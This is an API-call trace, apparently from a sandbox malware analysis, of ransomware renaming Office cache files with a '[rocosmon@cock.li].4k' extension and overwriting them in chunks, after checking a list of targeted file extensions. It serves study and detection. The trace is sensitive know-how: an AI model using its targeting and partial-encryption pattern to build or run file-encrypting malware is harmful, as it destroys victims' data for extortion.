	[0088.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.486] lstrlenW (lpString=".zip") returned 4
	[0088.486] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString=".rar") returned 4
	[0088.486] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString=".bz2") returned 4
	[0088.486] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString=".7z") returned 3
	[0088.486] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0088.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.486] lstrlenW (lpString=".dbf") returned 4
	[0088.486] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.486] lstrlenW (lpString=".1cd") returned 4
	[0088.486] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.486] lstrlenW (lpString=".jpg") returned 4
	[0088.486] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.486] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.486] lstrlenW (lpString=".doc") returned 4
	[0088.486] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString=".docx") returned 5
	[0088.486] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0088.487] lstrlenW (lpString=".pdf") returned 4
	[0088.487] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0088.487] lstrlenW (lpString=".xls") returned 4
	[0088.487] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0088.487] lstrlenW (lpString=".xlsx") returned 5
	[0088.487] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0088.487] lstrlenW (lpString=".ppt") returned 4
	[0088.487] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0088.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.487] lstrlenW (lpString=".zip") returned 4
	[0088.487] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0088.487] lstrlenW (lpString=".rar") returned 4
	[0088.487] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0088.487] lstrlenW (lpString=".bz2") returned 4
	[0088.487] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0088.487] lstrlenW (lpString=".7z") returned 3
	[0088.487] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0088.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.487] lstrlenW (lpString=".dbf") returned 4
	[0088.487] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0088.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.487] lstrlenW (lpString=".1cd") returned 4
	[0088.487] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0088.487] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.487] lstrlenW (lpString=".jpg") returned 4
	[0088.487] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0088.488] Sleep (dwMilliseconds=0x64) 
	[0088.617] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0088.617] lstrlenW (lpString="ExcelMUI.msi") returned 12
	[0088.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0089.355] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=2506240) returned 1
	[0089.355] CloseHandle (hObject=0x18c) returned 1
	[0089.355] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020
	[0089.355] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.355] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0089.356] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0089.356] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0x0) returned 1
	[0089.356] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0089.356] ReadFile (in: hFile=0x18c, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.375] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0089.375] ReadFile (in: hFile=0x18c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.405] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.406] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0089.406] ReadFile (in: hFile=0x18c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.870] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.870] WriteFile (in: hFile=0x18c, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x311fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0089.890] SetEndOfFile (hFile=0x18c) returned 1
	[0089.890] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3ed0290
	[0090.019] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0090.019] WriteFile (in: hFile=0x18c, lpBuffer=0x3ed0290*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0290*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0090.021] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0090.021] WriteFile (in: hFile=0x18c, lpBuffer=0x3ed0290*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0290*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0090.028] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0090.028] WriteFile (in: hFile=0x18c, lpBuffer=0x3ed0290*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0290*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0090.033] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ed0290 | out: hHeap=0x4a0000) returned 1
	[0090.034] CloseHandle (hObject=0x18c) returned 1
	[0090.834] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0090.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.834] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.834] lstrlenW (lpString=".doc") returned 4
	[0090.834] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0090.834] lstrlenW (lpString=".docx") returned 5
	[0090.834] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0090.835] lstrlenW (lpString=".pdf") returned 4
	[0090.836] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0090.836] lstrlenW (lpString=".xls") returned 4
	[0090.836] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0090.836] lstrlenW (lpString=".xlsx") returned 5
	[0090.836] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0090.836] lstrlenW (lpString=".ppt") returned 4
	[0090.836] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0090.836] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.836] lstrlenW (lpString=".zip") returned 4
	[0090.836] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0090.836] lstrlenW (lpString=".rar") returned 4
	[0090.836] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0090.836] lstrlenW (lpString=".bz2") returned 4
	[0090.836] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0090.837] lstrlenW (lpString=".7z") returned 3
	[0090.837] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0090.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.837] lstrlenW (lpString=".dbf") returned 4
	[0090.837] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0090.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.837] lstrlenW (lpString=".1cd") returned 4
	[0090.837] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0090.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.837] lstrlenW (lpString=".jpg") returned 4
	[0090.837] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0090.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.837] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.837] lstrlenW (lpString=".doc") returned 4
	[0090.837] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0090.837] lstrlenW (lpString=".docx") returned 5
	[0090.838] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0090.838] lstrlenW (lpString=".pdf") returned 4
	[0090.838] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0090.838] lstrlenW (lpString=".xls") returned 4
	[0090.838] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0090.838] lstrlenW (lpString=".xlsx") returned 5
	[0090.838] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0090.838] lstrlenW (lpString=".ppt") returned 4
	[0090.838] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0090.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.838] lstrlenW (lpString=".zip") returned 4
	[0090.838] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0090.838] lstrlenW (lpString=".rar") returned 4
	[0090.838] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0090.838] lstrlenW (lpString=".bz2") returned 4
	[0090.838] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0090.838] lstrlenW (lpString=".7z") returned 3
	[0090.838] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0090.838] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.839] lstrlenW (lpString=".dbf") returned 4
	[0090.839] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0090.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.839] lstrlenW (lpString=".1cd") returned 4
	[0090.839] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0090.839] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75
	[0090.839] lstrlenW (lpString=".jpg") returned 4
	[0090.839] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0090.839] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0090.839] lstrlenW (lpString="PubLR.cab") returned 9
	[0090.839] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0090.840] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=9958388) returned 1
	[0090.840] CloseHandle (hObject=0x18c) returned 1
	[0090.840] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020
	[0090.840] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0090.840] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0090.841] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0090.841] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0x0) returned 1
	[0090.841] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0090.841] ReadFile (in: hFile=0x18c, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0091.158] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0091.159] ReadFile (in: hFile=0x18c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0091.519] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.519] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0091.519] ReadFile (in: hFile=0x18c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0091.673] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0091.673] WriteFile (in: hFile=0x18c, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x311fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x311fcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0091.715] SetEndOfFile (hFile=0x18c) returned 1
	[0091.715] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f002a8
	[0091.733] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0091.733] WriteFile (in: hFile=0x18c, lpBuffer=0x3f002a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f002a8*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0091.735] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0091.735] WriteFile (in: hFile=0x18c, lpBuffer=0x3f002a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f002a8*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0091.743] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x311fc7c | out: lpNewFilePointer=0x0) returned 1
	[0091.743] WriteFile (in: hFile=0x18c, lpBuffer=0x3f002a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x311fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f002a8*, lpNumberOfBytesWritten=0x311fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0091.753] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f002a8 | out: hHeap=0x4a0000) returned 1
	[0091.756] CloseHandle (hObject=0x18c) returned 1
	[0094.129] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0094.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.130] lstrlenW (lpString=".doc") returned 4
	[0094.130] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0094.130] lstrlenW (lpString=".docx") returned 5
	[0094.130] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0094.130] lstrlenW (lpString=".pdf") returned 4
	[0094.130] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0094.130] lstrlenW (lpString=".xls") returned 4
	[0094.133] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0094.133] lstrlenW (lpString=".xlsx") returned 5
	[0094.133] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0094.133] lstrlenW (lpString=".ppt") returned 4
	[0094.133] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0094.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.133] lstrlenW (lpString=".zip") returned 4
	[0094.133] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0094.134] lstrlenW (lpString=".rar") returned 4
	[0094.134] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0094.134] lstrlenW (lpString=".bz2") returned 4
	[0094.134] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0094.134] lstrlenW (lpString=".7z") returned 3
	[0094.137] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0094.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.137] lstrlenW (lpString=".dbf") returned 4
	[0094.137] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0094.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.143] lstrlenW (lpString=".1cd") returned 4
	[0094.143] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0094.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.143] lstrlenW (lpString=".jpg") returned 4
	[0094.143] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0094.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.143] lstrlenW (lpString=".doc") returned 4
	[0094.143] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0094.143] lstrlenW (lpString=".docx") returned 5
	[0094.143] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0094.143] lstrlenW (lpString=".pdf") returned 4
	[0094.143] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0094.143] lstrlenW (lpString=".xls") returned 4
	[0094.143] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0094.143] lstrlenW (lpString=".xlsx") returned 5
	[0094.143] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0094.143] lstrlenW (lpString=".ppt") returned 4
	[0094.143] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0094.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.143] lstrlenW (lpString=".zip") returned 4
	[0094.143] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0094.143] lstrlenW (lpString=".rar") returned 4
	[0094.144] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0094.144] lstrlenW (lpString=".bz2") returned 4
	[0094.144] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0094.144] lstrlenW (lpString=".7z") returned 3
	[0094.144] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0094.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.144] lstrlenW (lpString=".dbf") returned 4
	[0094.144] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0094.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.144] lstrlenW (lpString=".1cd") returned 4
	[0094.144] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0094.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72
	[0094.236] lstrlenW (lpString=".jpg") returned 4
	[0094.236] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0094.236] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0094.236] lstrlenW (lpString="Proof.cab") returned 9
	[0094.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0094.236] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=11482605) returned 1
	[0094.236] CloseHandle (hObject=0x18c) returned 1
	[0094.237] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab")) returned 0x2020
	[0094.237] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
